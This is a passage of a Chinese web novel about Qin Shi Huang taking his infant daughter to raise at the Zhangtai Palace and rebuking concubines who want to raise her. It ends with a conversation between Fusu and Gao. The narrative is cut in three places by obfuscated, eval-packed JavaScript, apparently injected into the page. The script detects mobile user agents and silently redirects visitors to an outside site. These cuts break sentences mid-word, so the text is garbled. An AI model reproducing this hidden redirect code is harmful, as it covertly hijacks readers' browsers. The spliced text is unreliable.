RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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始皇帝见状,心中暗道,这小孩子的脸,还真是说变就变。刚刚见了自己还一脸笑容呢,这会儿就看都不愿意看他一眼了。 “朕不是故意不来看你的,朕只是在考虑要把你安置在哪里。你看,朕考虑好之后,不是马上就过来看你了吗?别生气了,啊!” 为小闺女收拾出一处住处来,不是什么难事儿。始皇帝一声令下,很快就能搞定。 难的是看透人心。小闺女的生母田夫人是否可用,宜春宫中有多少人值得信赖,可以放在小闺女身边,这都是需要时间来进行检测的。 始皇帝对小闺女说的这番话,倒也没有糊弄小闺女。只是,小闺女显然不怎么相信他说的话。 他耐着性子哄了许久,发现小闺女对他身上的荷包、佩环什么的感兴趣,就把这些东西一股脑地摘了下来,全部递到了小闺女面前。 那叮叮当当的声音瞬间吸引了常欢的注意力,只见常欢一手拿着玉佩,一手拿着玉环,一下一下地碰撞着。 耳边传来清脆悦耳的声音,常欢笑得可高兴了。果然不愧是皇帝爹身上佩戴的东西,都是好东西啊! 常欢玩了一会儿佩环,就将这两样东西松开,转头去抓她爹递给她的荷包。 那只荷包是用玄色丝绸缝制而成的,瞧着一点儿也不鲜亮,可未知的东西总是让人忍不住心生好奇。 常欢两只小胖手捧着这只新得的荷包东摸摸西看看,琢磨着该怎么将这荷包给拆开。 这荷包里头装的到底是什么呢?也是香兰和香木吗? 始皇帝看着小闺女对着荷包一扯一扯的样子,就觉得怎么看怎么可爱。 他从前都不知道,原来有小孩儿能够乖到这个地步,他哪怕只是看着小闺女做一些单调至极的事,都能察觉到其中的乐趣。 始皇帝见常欢半天也没解开那荷包,就亲自上前,替小闺女把荷包给解开了。 当荷包里的几颗金珠子被取出来时,常欢双眼一亮,将那珠子弹来弹去地玩儿。 或许她人变小了,也当真变得幼稚了。这样的游戏,她玩儿得不亦乐乎。 当一颗珠子朝始皇帝滚过去的时候,常欢焦急地冲始皇帝喊:“阿父!滚,滚过来!” 始皇帝眼疾手快地将那枚珠子弹回了常欢面前,然后捏了捏她的小脸:“敢让朕‘滚过来’的,你可是第一个啊!” 常欢抓着那颗珠子,迷茫地看着始皇帝:“滚,滚过来了!” “朕给你带的礼物,你喜欢吗?”始皇帝又问。 他来之前,也是做了“功课”的,他知道这种弹珠就是蒙家小孙子最爱玩的玩具之一。要不然,他身上也不会带这种小孩子的玩意。 现在看来,倒是带对了。 常欢将那些礼物拢成一堆,发现有三块玉佩,两个玉环,金珠子十六颗,装有香兰和香木的荷包一个,她就笑得眉眼弯弯:“喜欢~” “既然你喜欢,那就别怪朕这么久没来找你了吧。”始皇帝从袖袋中掏出一个迷你版玉制九连环,递给常欢:“朕这次来,还给你带了一件礼物,你拿去玩吧。” 常欢抓着那只九连环,两眼放光。 她这爹可真够大气的啊!人来了不说,还给她带来了这么多的好东西,她喜欢! 趁着小闺女解九连环的档口,始皇帝把目光放在了萤的身上:“朕进来之前,你们在说什么?” 5. 第 5 章 他能对常欢好声好气地说话,是因为那是他的崽儿。 到了萤面前,他的语气一下子就变得严厉了不少。 直到这一刻,萤才深刻体会到何谓君威,也直到此时,她才明白为什么有那么多人对始皇帝敬畏有加。 始皇帝为数不多的柔软,都给了他年幼的孩子,以及寥寥几位与他相得的大臣。如萤这样的宫婢,并没有资格得到这样的优待。 萤垂下头,克制着身上的颤抖,尽量让自己在始皇帝面前不失态。 “奴婢为公主取来了米羹。只是,今日的米羹有些不妥,奴婢劝公主不要吃,方才公主还在跟奴婢闹脾气呢!” 始皇帝接过那盛米羹的碗仔细端详了一阵,勃然大怒:“谁这样胆大包天,竟敢让朕的幼女吃这样的东西,难道是想谋害朕的幼女吗?这碗米羹是谁准备的?抓来好生审问!” 对始皇帝有所了解的宫人都知道,始皇帝眼里不揉沙,谁要是敢在后宫兴风作浪,他决不轻饶。 自始皇称帝以来,便规定“帝王正妻为皇后,妾皆称夫人。夫人之中,又有美人、良人、八子、七子、长使、少使之号”①。 始皇帝并未设立皇后,他后宫之中位份最高的,也不过是几位“美人”,常欢的生母田夫人的位份便是这一等级的妃嫔。其余几位受过册封的“美人”都居住在距离章台宫较近的地方,唯有田夫人因为触怒了始皇帝,才被打发到宜春宫这样偏僻的地方来。 有人的地方就有争斗,始皇帝的后宫,既安生又不安生。说安生是因为大部分时候风平浪静,无人敢搞事情,说不安生是人的欲望终究没法完全磨灭,每隔一段时间,始皇帝的后宫就会出现一些敢于挑战规则的“勇士”。 先前就有两位少使因为争风吃醋,相互陷害,险些闹出人命来,影响极为恶劣。 始皇帝为了杜绝这种风气,直接赐死了那两位少使,并且还是公开处刑、历数罪状,一点儿颜面也没给她们留。就连她们的家人,也受到了牵连。 之后,又一位美人为了替身为原六国贵族的父兄求情,精心策划了一场偶遇,想要跟始皇帝来个“久别重逢”,诉诉衷情,然后再趁机跟始皇帝说一些软话。谁知,她前头计划的好好的,在她试图靠近始皇帝是时候,却让始皇帝当刺客给抓了。尽管她声明自己不是刺客,但她还是被抓进了牢笼中,各种审问轮番上阵。 始皇帝在查明那位美人并无谋逆之举后,以窥伺帝踪的罪名将其贬为庶人,打发去做苦力。很快,千娇百宠的美人就成了一个憔悴不堪的婆子,短短时间内仿佛苍老了十几岁。这位美人的遭遇,吓退了不少与她打着同样主意的人。 再后来,有一位八子因为受到冷落,被另一位身份地位都不如她的七子奚落。七子比八子见始皇帝的时候略多一些,得了几样好东西,这位七子便特意拿到八子跟前炫耀。八子愤懑不平之下,筹划着借子嗣来争宠。 这位八子手段算不得高明,一两次过后就让始皇帝瞧出了端倪来。普通的争宠,只要行为略出格些,始皇帝都忍不了,更何况这位八子居然还拿孩子做筏子!始皇帝怒斥八子没有爱子之心,当即便命人将她膝下的小公子给抱走了。随后,他将八子幽禁在别宫中,不许她再见自己的儿子,以免带坏了小公子。 那位挑拨八子冲动行事的七子也没落着什么好,她因为搬弄是非,面部被刺了字赶出了宫。她虽然没受到更为严厉的处罚,可她面部被刺了字,旁人见了哪有不知道她是罪犯的?往后,她走到哪儿都要惹人注目、惹人白眼了。 始皇帝不耐烦在后宫琐事上花费时间和精力,若是后宫女眷做出什么出格的事,他一向是从重处罚。经过他的几次雷霆手段,这宫中便鲜少有人敢再兴风作浪。 不过,就算他管得再严,每隔一阵子,也终究会出现几个犯忌讳的人。 比如这次,居然有人苛待公主,给公主吃烧糊的米羹,究竟是谁给那些人的胆子?! 始皇帝自忖他也就上回见过小女儿一次,回去之后,他并没有表现出他对小女儿的任何偏爱。难道,就那么一次,他的小女儿就被人给盯上了? 无论如何,始皇帝也不相信一群下人胆敢苛待他的女儿。在他心中,此事必定有人指使。 常欢一边解九连环,一边竖起耳朵听她爹和萤的对话。 还在学习语言的常欢费了点儿劲,才明白她家皇帝爹心中的想法,她顿时就有些无语。 怎么就不能是这些下人自个儿消极怠工呢?为什么怠慢她的事就必定是有人指使的呢? 难不成,她爹把宫中这些奴仆都当成工具人了,认为他们不会有自己的想法,也不敢有自己的想法? 真是头疼。 常欢尝试着跟始皇帝解释了两嘴。后来,她发现她跟始皇帝完全是鸡同鸭讲之后,她就放弃了治疗。 心累,心实在是太累了!算了,反正也不是什么重要的事,她的皇帝爹爱脑补就脑补去吧! “阿父,吃~”常欢看了看摆在面前的米羹,又可怜兮兮地望向了始皇帝,试图从她爹那儿骗点好吃的过来。 成天喝羊乳,好不容易可以吃点儿辅食了,结果还来这么一出,她是真的悲催啊! 谁知,始皇帝完全没有领会常欢的意思,还把目光投向了萤:“公主平时吃什么,还不快去给公主端上来!” “回禀陛下,公主刚用了一碗羊乳。除了羊乳之外,公主的辅食便是肉羹、蛋羹、鱼羹、米羹之类的东西。今日原打算让公主吃米羹的,谁知这米羹熬过了头……”在始皇帝严厉的目光中,萤的声音越来越小:“现在……怕是没有辅食可以给公主送来了。” “那就再端一碗羊乳来,不然难道让公主一直饿着吗?” “不,不要羊乳!”常欢急道:“要羹!” “那就去厨房为公主要两碗鱼羹过来。”始皇帝道。 为什么是两碗?她吃一小碗就够了呀! 常欢有些疑惑地瞅着她爹,还没来得及向她爹求证,就听到一旁的萤提醒道:“陛下,您才下旨将宜春宫中所有厨子都打入牢中审问了……” 这一时半会儿,上哪儿去找人来给父女俩做鱼羹吃啊? “既如此,你暂且先用些羊乳垫垫吧。等朕带你回了章台宫,再命人给你做鱼羹吃。” “章,章台宫?”常欢迷糊地眨了眨眼,这是哪儿? “是啊,章台宫是朕的居所。你的阿母不愿意养你,往后,你就跟朕回章台宫,就由朕亲自养你,你说可好?” 其实,这个决定对始皇帝来说也是刚做的。他原本打算先将女儿带回章台宫,再为她寻找一个合适的抚养者。谁知话到了嘴边,就变成了这样。 不过,既然他向女儿承诺了,就会好好做到,不会食言。 “阿父……养……常欢?” “是啊,阿父亲自养你,你开心吗?” 始皇帝看着女儿愣神的样子,眼中闪过一丝笑意。有时候他觉得自己这小闺女挺机灵,有时候却又觉得她傻里傻气的。往后,且让他再看看吧! 常欢听了始皇帝的话并不觉得开心,只觉得茫然。 她拿到的不是后宫躺平副本吗?怎么突然间,她的皇帝爹就要养她了?她要进入是非中心了吗? 重新拿了一碗羊乳回来的萤,见自家小公主一副呆愣愣的样子,赶忙上前道:“公主,要好好回答陛下的问题啊,不可以把陛下晾在一边。您从前就盼着跟阿父、阿母一起生活,现在,您终于能够跟陛下住在一起了,您都高兴傻了吧?” 她话音刚落,就见始皇帝警告的目光瞪了过来:“不许说朕的公主傻。” 他自己可以说自己的女儿傻,别人要是敢说他女儿一句不好,他可一点儿都听不得。 说着,始皇帝朝萤伸了伸手。 萤一时没有反应过来始皇帝到底想做什么,只能慌乱地向身边儿的人求助。 赵高上前,小声道:“还不快把你手中的羊乳给陛下,陛下要亲自喂小公主喝羊乳呢。” 萤瞬间露出一副不可置信的样子。 始皇帝,给公主,喂羊乳? 每个字她都听得懂,这些字放一块儿,她怎么就听不懂了呢? 始皇陛下是会亲自照顾别人的人吗?他做过这样的事儿吗? “咳咳!” 赵高的两声咳嗽,让萤迅速回过神来。 她战战兢兢地将手中的碗递给等得已经有些不耐烦的始皇帝,又看着始皇帝拿勺子舀出一勺羊乳,刚要往常欢嘴边送,忽然意识到什么,赶忙又把手缩了回去。 在常欢疑惑的目光中,他盯着这勺羊乳思索了一瞬,然后放到嘴边吹了吹。 常欢看着他这动作,心中生出一种莫名的喜感。但紧接着,这勺羊乳又稳稳当当地递到了她面前。 常欢好奇地看着她爹的手,想知道他究竟是怎么做到的。这勺羊乳都在半空中来回好几趟了,怎么一点儿也没洒呢? “怎么,不想喝?”始皇帝低垂着眉眼道:“宜春宫离章台宫可远着呢,你这会儿不喝,要是路上饿了,可没得喝!” 常欢其实不喜欢羊乳的味道,主要是最近总喝这个,她有些腻了。不过,皇帝爹亲自递过来的羊乳,不喝也不行,不喝就是不给皇帝爹面子。 她犹豫了一会儿,才破釜沉舟一般凑上前道:“阿父喂的,喝!” 始皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哎,他们也是太久没有在贵人跟前侍奉了,手脚都不知道该往哪里摆了。 “陛下,这宜春宫中不少人都让您给扣下了,敢问这些人要如何处置?”赵高又问。 “你亲自去查一查,平日里哪些人苛待过公主,都给朕从严处置!” 说着,他又看向萤:“你是公主身边儿伺候的宫女,朕瞧着你还算忠心,你就跟公主一道去章台宫吧。平日里谁苛待过公主,你报上来,待朕查证之后,朕自会处置他们!” “是。” “对了,公主身边儿伺候的,只有你一个吗?” “除了奴婢之外,还有公主的乳母,以及一个名唤‘夏’的洒扫丫头,她年纪小,算不得有多得力,但还算老实勤快。” “既如此,那就将这俩人也带上吧。”始皇帝想起自己其他儿女身边儿都有成群结队的下人伺候,忍不住道:“堂堂公主,身边儿居然只有一名乳母和两个宫女,实在是太不像话了!若不是这回朕亲自过问,朕还不知道朕的幼女居然受到了这样的对待!看样子,少府有些人这位置坐得太久了,是时候该换换了!” 萤回想起平日里少府之人对待她们主仆的嘴脸,开口想说些什么,最后却又闭上了嘴。 拜高踩低是宫中常事,告状又有什么用呢?终归得公主和她自个儿立得起来,才能不受人欺负! 好在现在,公主已经入了始皇帝的眼。想必日后,那些人再不敢这样怠慢公主了! …… “夫人,他们走了。” 另一边的偏殿内,贝在门口留意了一会儿外头的动静,立马忧心忡忡地跑回来提醒田芸。 田芸别过头道:“谁耐烦搭理他们?都走了,我倒落了个清净!” “从前您虽然不搭理小公主,但小公主到底养在您身边,您想要修复母女关系,随时都能找到机会。可现在……她被陛下接去了章台宫,只怕您一年都头都没什么机会见到她了!” “她在的时候我都不肯见她,她走了我又怎会想她?走了好,走得好啊!她有了前程,也省得我听着她的消息就心烦……” 贝一时没了话。 也不知道始皇帝是不是知道了田夫人的性情,他从驾临宜春宫,到接走十七公主,全程没有跟田夫人打过任何交道。他就当田夫人不存在一样,田夫人也同样给自己画了个牢笼,不许自己踏出牢笼一步,否则她便觉得自己对不起死去的祖父和父亲。 一时之间,贝也不知道,究竟是谁在折磨谁。 田夫人在与始皇帝置气的同时,终究也没有放过她自己。 6. 第 6 章 始皇帝带着一群人浩浩荡荡地从章台宫出发,沿途经过兴乐宫、甘泉宫、极庙。他回去的时候,有心人自然早早就在宫殿前方的道路上候着了。 只是,有宫妃邀宠被处罚的先例在,许多夫人们便是有心想在始皇帝面前露个脸儿,也不好做得太过火。 宫中之人都知道,始皇陛下是个工作狂,每日要批阅一百二十斤奏疏(相当于后世的六十斤),他现在每个月招幸后妃的次数寥寥无几。 从前他孩子不多的时候,他倒是肯多进后宫,与诸位大小夫人们交流感情,那时候他给位分、给赏赐倒也大方。 可自打始皇帝觉得自个儿完成了“生育指标”,再加上一统天下之后事务越来越多,他渐渐就把进后宫陪美人的时间挪用了大半到奏疏这个小妖精身上。他成天除了加班就是加班,偶尔有一点闲暇时间,还要拿来跟臣子联络感情,或者关心一下公子公主们的功课,俗称鸡娃。 对于一些有“上进心”的后妃来说,这日子可实在难熬。始皇陛下自己上进了,怎么就把她们上进的路给堵死了呢?她们也想升职加薪,并不想至死都是个出不了头的低位宫妃啊! 不过,任她们如何千娇百媚,在始皇帝眼中,恐怕都不如左丞相李斯那张眼藏精光的马脸动人,也不如右丞相冯去疾那张满是褶皱的老脸顺眼,更不如蒙武、蒙恬父子杀气腾腾的面容叫人安心。 真要细论起来,已经告老在家的王翦老将军才是始皇帝的心头肉。他的孙子王离虽然还是颗青涩的小白菜,但因其颇有几分肖似其祖,也得了始皇帝的垂怜。 对于一身班味的始皇帝来说,能为他排忧解难、减轻工作量的,才是他的西施、郑旦,否则也不过是一具具红颜枯骨罢了。 要是这些宫妃们敢给始皇陛下写“情书”,诉衷情,陛下不会感念她们的心意,只会嫌她们烦人,浪费他宝贵的时间,他会把她们的“情书”扔进火堆里当柴火,说不准儿她们本就不高的位份和待遇还会一降再降。 从前不是没有人这么做过,最后却起了反效果,可见这条路子在始皇陛下面前是行不通的。她们只能抓住有限的见面机会,争取给始皇陛下留个好印象。 居住在甘泉宫和兴乐宫中的夫人们,从始皇帝的车驾前往宜春宫时,就开始做准备了。 她们不知在风中等了多久,才终于等来了始皇帝的车驾。中途,她们还得时刻留意着自己的姿态和仪容,免得让始皇帝看见自己灰扑扑的样子。 她们打扮得漂漂亮亮的,始皇帝不一定在意,可她们要是丑到始皇帝的眼睛了,恐怕就有人要倒霉了。因此,她们一个个都严阵以待,半点儿不敢马虎。 好在始皇帝并没有让她们白等,他见她们专程等候在此,没有闹什么幺蛾子,便下车见了她们一面,一人给了些赏赐。这些品级不一的夫人之中,有些人还是第一次近距离见到始皇帝,她们自然颇为激动。 当始皇帝免了她们的礼后,她们发现,高大威武的始皇帝怀中居然还小心翼翼地抱着一个小小孩儿。 那小小孩儿倚靠在始皇帝的臂膀上,一双眸子好奇地朝她们打量着。她的存在,似乎柔化了始皇帝身上的冷硬。 一时之间,她们竟觉得始皇帝也没那么难以亲近了。 “这就是住在宜春宫中的十七公主吗?”一名消息灵通的夫人上前问道。 “不错,这是朕的幼女,常欢。”始皇帝双手托着常欢的腋下,大方地向周围的人展示了他的女儿。 也不知是不是常欢的错觉,她这皇帝爹,似乎有点儿炫崽的意思。她才跟他相处多久,他真有这么喜欢她吗? 啊,不管了。既然他表现得很喜欢她,那她也要表现出很稀罕他的样子。 不能让她的皇帝爹落了面子,要不然,她会失去里子。 这般想着,常欢扯了扯她家阿父的衣袖,示意她阿父把她抱回去。然后,在众目睽睽之下,她亲了他一口。 众人见这位年幼的公主糊了始皇帝一脸口水,始皇帝也没有生气,反而问身边儿的侍从要了一块巾帕替公主擦拭嘴角,他们不由对公主在始皇帝心中的地位有了更深的认知。 那位消息灵通的夫人笑着上前恭维道:“公主与陛下生得真像,果然不愧是陛下的女儿。尤其她还这样亲近陛下,这是知道谁对她好呢。” “欢儿许久不见朕,竟还认得朕,倒也难得。朕膝下这些子女中,就属她最机灵。” 这话一出,让一些膝下有子女的夫人微微变了脸色。十七公主才这么点大的孩子,哪里就能看出她比旁人机灵? 然而,帝王的偏爱,是让人最无力把握的东西。 先前十七公主随着她那个犯禁的娘亲居住在偏远的别宫之中,又有谁会觉得她金贵? 如今,她一朝入了始皇帝的眼,立马就变得与往常不同了。 周围这些微妙的打量,常欢自然察觉到了。她虽然不知道具体发生了什么,但也能猜到,多半是她的皇帝爹说了什么,让这些夫人心里不平衡了。 原本还想要顺路参观一下兴乐宫和甘泉宫的常欢,顿时就变得兴致缺缺。 麻烦啊麻烦,她最讨厌麻烦了。在她弄清楚她的生存环境之前,她还是少来招惹这些麻烦的人和事吧。 “阿父,困~”常欢揉了揉眼睛。 “那朕先带你回车上去吧,你在车上可以睡一会儿。等你睁开眼,就到章台宫了。” 正当始皇帝打算带着常欢离开时,一旁的郑八子鼓足勇气上前:“陛下若是一时半会儿找不到合适的人抚养公主,妾身愿替陛下分忧。妾身膝下曾养过十公主,妾身对照顾公主有经验。” 郑八子看向常欢的目光十分慈爱:“十七公主这样乖巧可爱,妾身定会将她视如己出,悉心照料,好叫陛下每次来看她的时候,都看到一个健康活泼的小公主。” 常欢不明白,这是她和这位夫人头一次见面,这位夫人究竟哪儿来的慈爱之情。 当她发现这位夫人在透过自己看某个人的时候,她更是浑身的毛毛都竖了起来。 哎,但愿皇帝爹别把她交给这位夫人吧,这位夫人的热情,让她觉得有些怪怪的。 始皇帝似乎听见了小闺女的心声,毫不留情地拒绝了郑八子的提议:“十公主夭折了,可见你并不像你说的一样擅长养女儿,你让朕如何放心把朕的幼女交给你?” 他丝毫没有照顾郑八子情绪的意思,他只一句话,就让郑八子面色煞白。 “陛下,十公主夭折了,最难过的就是妾身……” 帝王不愿意将年幼的女儿交给她也就罢了,何苦往她伤口处捅刀子? “可你让她吹了风,受了凉,这才出了事。她的身子骨一向健壮,要不是因为你的疏忽,她又怎么会小小年纪就去了?你不想着反思自身的过错,怎么还能大言不惭地拿照顾过十公主的经历来说事?你说你会养孩子?你会养什么孩子?!” 这个女儿走得很早,始皇帝其实已经不大记得她了。 如今回想起来,他只依稀记得,那是个很乖的孩子,腼腆得过了头,一双眼睛像幼鹿一样,仿佛动静稍微大一点儿都能惊着她。 那会儿始皇帝还不是始皇帝,他还没有一统天下,还是秦王政。秦王政许久没去看十公主,偶然想起这个女儿,去瞧一瞧她,就发现她怕生得不得了。 她会躲在母亲郑八子的身后,探个脑袋出来,用怯生生的目光悄悄地打量自己的父亲。 秦王政在前朝雷厉风行,但对自己的女儿还算有些耐心。他陪着这个女儿玩一会儿,说会儿话,再给她赏赐些新奇的小玩意儿,父女俩也就渐渐熟稔起来了。 秦王政说的话多,十公主说的话少,秦王政只能看到她绞着衣服下摆的手渐渐放松下来,并不知道她心里头在想些什么。 年幼的女孩儿拿着父亲给她的精巧玩具摆弄了一阵儿,突然一声不吭地把自己的吃食推到秦王政跟前。秦王政奇怪地问她这是在做什么,就听到她小小声说:“好吃,给父王吃。” 那会儿,十公主的目光虽有些闪躲,却比平时明亮不少,仿佛很期待自己的父亲会接过她送的“回礼”。 秦王政对小孩子的吃食不怎么感兴趣,却也不忍拂了她的好意,就接过她递来的柿饼吃了两口。那甜津津的味道在他口中蔓延开来,面前女儿的小脸上也露出了甜甜的笑容。 秦王政动作生疏地把手放在女儿的头上,对她说:“你要是喜欢这柿饼,寡人便让人给你多送一些。” 十公主重重点了点头,眼睛弯成了月牙。 她乖是乖,可未免太安静了些,没什么存在感。这样被动的性子,在这宫中注定是要被忽视的。 比起她,始皇帝更喜欢那些性子明快活泼的女儿。 不过,始皇帝到底对这个女儿有几分慈爱之心,他曾经想着,等她年纪稍微大一些,就让这个女儿跟着他出去见见世面,免得女儿一直这样怯懦。 她多见见不同的人,兴许也就大方起来了。 可惜,十公主养到六岁上,被一场风寒带走了,始皇帝再也没能等到她长大。 始皇帝还记得,十公主离世的那一晚,他正与底下的大臣们商讨该如何攻灭魏国。 待他听到女儿离世的消息,也只是愣了愣,说了声“知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105646|195796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道了”,然后就命底下的人按照规格治丧。 没有时间留给他悲伤,他有太多的事要做。 十公主是幼年夭折,按照惯例不能大办。她就这样安静地来到这个世上,又安静地离开。 始皇帝在闲暇之时,想起那双幼鹿一般的眼睛,想起她递来柿饼的那双小手,想起那座小小的坟茔,心中便会生出一点怅然之感。他们父女之间,终究缘分太浅,浅得像一阵拂面而过的风,来无影去无踪。 …… 从回忆中回过神来的始皇帝硬下心来,对着眼前的郑八子警告道:“你没有照顾好十公主,朕念在你当时初为人母缺乏经验的份儿上,不与你计较。可你如今为了将常欢养在膝下,居然敢拿你照顾过十公主的过往说事,可见你全无慈母之心!十公主在你看来是什么?她就只是你博取朕怜惜的筹码吗?你究竟还有没有一点为母之心?天底下的母亲,难道都如你和田美人一样吗?” 郑八子听了这话,身子剧烈颤抖,呼吸也变得急促起来。 “妾身从未忘记十公主是妾身亲生的骨肉!十公主只是您众多孩子中的一个,却是妾身唯一的女儿!妾身如何会不疼爱她,如何会不看重她?您这样草率地认定妾身是在拿她来博取您的怜惜,您把妾身看成什么人了?妾身在您面前提起十公主,不过是……不过是希望您还记得她,希望您不要忘了她!” 她把目光放在了常欢的身上,眼中依稀带着泪花:“您瞧瞧,十七公主多活泼,多可爱呀!妾身看到她,就忍不住想起了妾身的十公主。要是十公主还在,这会儿也该十四了,也到了说亲的年纪了。可惜,妾身再也不能送她出嫁了……” “妾身承认,妾身想要将十七公主养在膝下,并不全是为了替陛下分忧。妾身也有私心,想要好好照顾小公主,好好看着她长大,送她出嫁,弥补妾身心中的遗憾!妾身也想让陛下来妾身这儿看十七公主的时候,偶尔能想起妾身那可怜的十公主!” 郑八子深吸一口气:“陛下将十七公主交给妾身养,妾身得了女儿,十七公主得了养母,陛下也不必再为十七公主操心,岂不是皆大欢喜?当然,这只是妾身的一个想头,陛下您若是不愿,那就只当妾身没有说过这话,您又何必这样曲解妾身的意思呢?” “你话说得倒是好听,可你既然这样有慈心,从前朕没有将常欢接回来的时候,怎么不见你对她有只言片语的关照呢?如今朕亲自将她接了回来,你就忽然想起了十公主,继而想到抚养十七公主弥补遗憾。你这心中打的究竟是什么主意,你当朕看不明白么?” “陛下将十七公主带回来之前,十七公主一直跟着生母田美人过日子。田美人在宜春宫深居简出,极少出来走动,妾身远在兴乐宫,如何知道小公主过得好不好?陛下如此英明神武,尚且被田美人蒙蔽,不知田美人苛待了公主。妾身远不如陛下,又怎能做到洞若观火?陛下,您不该对妾身如此苛责啊!” “不该?你是在教朕做事?” 那黑沉沉的目光压过来,郑八子心中一悸,瞬间软倒在地。 她只觉自己遍体生寒,心跳如鼓。直到这会儿,她才意识到,站在她面前的,是可以对她生杀予夺的始皇帝,她居然为了逞一时口舌之快,就这样与始皇帝争论了起来! 上一个对始皇帝如此不敬的人……是谁?他/她是什么下场? 郑八子拼命地回想,然而此时她头脑一片空白,怎么也想不起来。 她的性命,原也就在始皇帝的一念之间…… 好在许是十公主冥冥之中庇佑了她,始皇帝看起来没有要与她计较的意思。 他视线掠过她,落在了周围其他夫人的身上。 “莫要再打常欢的主意,朕决定将她带入章台宫中亲自抚养。” 他这话,既是对自请抚养常欢的郑八子说的,也是对其他夫人说的。 他可不信这些女人真能对常欢有什么慈心。连常欢的生母都对她不上心,随意将她丢给一名宫女照顾,始皇帝难道还能放心把她交到其他人手中吗? 这些人,有几个是真心养孩子,有几个是为了得到他的关注? 他的女儿,绝不能成为这些人邀宠的工具! 夫人们听了这话,纷纷低下了头,不敢与始皇帝对视。 她们早就知道始皇帝不好女色,不肯立皇后不说,每个月进后宫的次数也是屈指可数。 可直到这会儿,她们才清楚地看到,始皇帝对她们,竟是防备至此。 或许,她们从未得到过他的信任,或许,她们虽然住在这威严壮丽的宫殿中,却始终只是寄宿之人,而不是这里真正的主人。 7. 第 7 章 始皇帝的话语迅速传遍了整座王城。 先前他对常欢的关注只有少数有心人知道,这会儿,满朝官员、后宫妃嫔、公子公主们几乎都知道了。 公子高有些好奇地对长公子扶苏说道:“大兄,你对这个妹妹还有印象吗?父皇这样喜欢她,她肯定很可爱吧!” 扶苏努力从记忆中年节时候的宫廷聚会上扒拉出一个小小的身影。只是,那个身影太小,被包裹在襁褓之中,模糊得几乎没在他心中留下什么印象。 扶苏沉默了好一会儿,才对着公子高摇头道:“不知,妹妹年龄太小,我也就见过她那么一回。” 他回想起自己听到的消息,有些自责地说道:“听闻父皇偶然驾临宜春宫,发现妹妹的生母田美人对她不闻不问,只丢给身边的宫女照顾,父皇这才将妹妹接了出来。我枉为兄长,居然对底下的弟弟妹妹这样疏忽,连妹妹过得不好都没有发现。” 扶苏高高大大一个人,这会儿低着头一脸失落的样子,倒让人心中有些不忍。 高虽然名字叫高,却比扶苏矮了大半个头。只见他努力踮起脚尖,拍了拍扶苏的肩,宽慰道:“大兄不必自责。你每日有那么多要事要处理,底下又有那么多弟弟妹妹要照顾,你哪里能管得过来?十七妹那么小,平时我们都见不到她的面,你怎么能知道她被田美人苛待了呢?” “话不是这么说的。就算我不知道田美人苛待了妹妹,可我要是真的关心她,我早就该提议让父皇把她接到兴乐宫或者甘泉宫中居住了。这样一来,田美人几乎不管妹妹的事也就瞒不住了。” 扶苏摇了摇头:“这种说辞,骗骗别人也就罢了,可我骗不过我自己。作为长兄,我确实是失职了。” 面对兄长的坚持,高表示不理解:“这根本不是你的责任,你何必非要往自己身上揽?你要真这么想,那你非得累死自己不可!” 扶苏一听这话就笑了:“这倒不至于。我虽然不能亲自盯着弟弟妹妹,但我可以定期派人去看看他们的生活状况啊!往后,我就每个月派人去看一次好了。他们要是缺了什么,我就帮他们补上。他们要是遭受到了不公平的对待,我就替他们说话。底下的弟弟妹妹不比我们,时时都能见到父皇。我们得多看着点儿,免得他们被底下人给欺负了。” “大兄你对底下那些小的还是那么有责任感。我就不行了,我的心很小,容不下那么多人。我们这些弟弟妹妹们有你这样一位兄长,是我们的福分。” “你真是这样想吗?我怎么看着你好像不太赞同我的做法?”扶苏凑到高面前。 高说:“我只是觉得,你有些认死理。你总是往自己身上压很多担子,把自己弄得很累。弟弟妹妹的事倒还好说,你只要让府中的下人帮你多留意就行。那朝中的事呢?你也打算这么来吗?” 扶苏皱眉,也不想跟自己的弟弟打哑谜,就直接问道:“你到底想说什么?” “最近,朝中又有博士来找你了吧?他们有什么想法,就该自己亲自向父皇上书,他们怎么能来找你替他们出这个头呢?” “他们也上书了呀!只是,父皇总觉得他们别有用心,对他们的提议不予采纳。我倒是觉得,他们的话不无道理,只是父皇对他们心存偏见,拒绝了不少有用的谏言。再这样下去,人人都只会顺着父皇的心意说话,谁还肯真心实意为我大秦筹谋?我虽然不才,好歹我的话,父皇还愿意听几句。” “就是因为你在父皇心中分量不同,你是父皇的儿子,他们只是寻常的臣子,所以父皇不会因为他们而生气,却会因为你而生气!你光知道替他们着想,你怎么就不替父皇想想呢?父皇都拒绝他们的提议了,你还要替他们说话,那在父皇眼中,你这个做儿子的是不是不帮着他,反倒帮着外人?” “什么内人外人的,他们都是我大秦的臣子,只要他们说的话有道理,我就要支持他们。公是公,私是私,怎么能混为一谈呢?” “那你说说,公私要是真的这么分明。父皇不听那些博士的话,凭什么听你的话?还不是因为你是他的儿子,他才信你!你如果也是博士的一员,你看父皇会不会理你!虽说朝堂之事要尽量公私分明,可是人就有私心,他们有他们的私心,你也有你的私心,这公私怎么可能分得那么明白呢?” 高语重心长地道:“朝堂上的事,你们到底要怎么闹腾,我不管。可兄长啊,听弟弟一句劝吧,你不要再利用父皇对你的倚重和信任去气父皇了!你既是父皇的儿子,也是父皇的臣子,外部越是人心不齐,咱们自己越是不能内部生出嫌隙来啊!” 扶苏反驳:“我从来没有想着去气父皇,正因为现在外部人心不齐,咱们才更该广开言路,好令四海归心……” 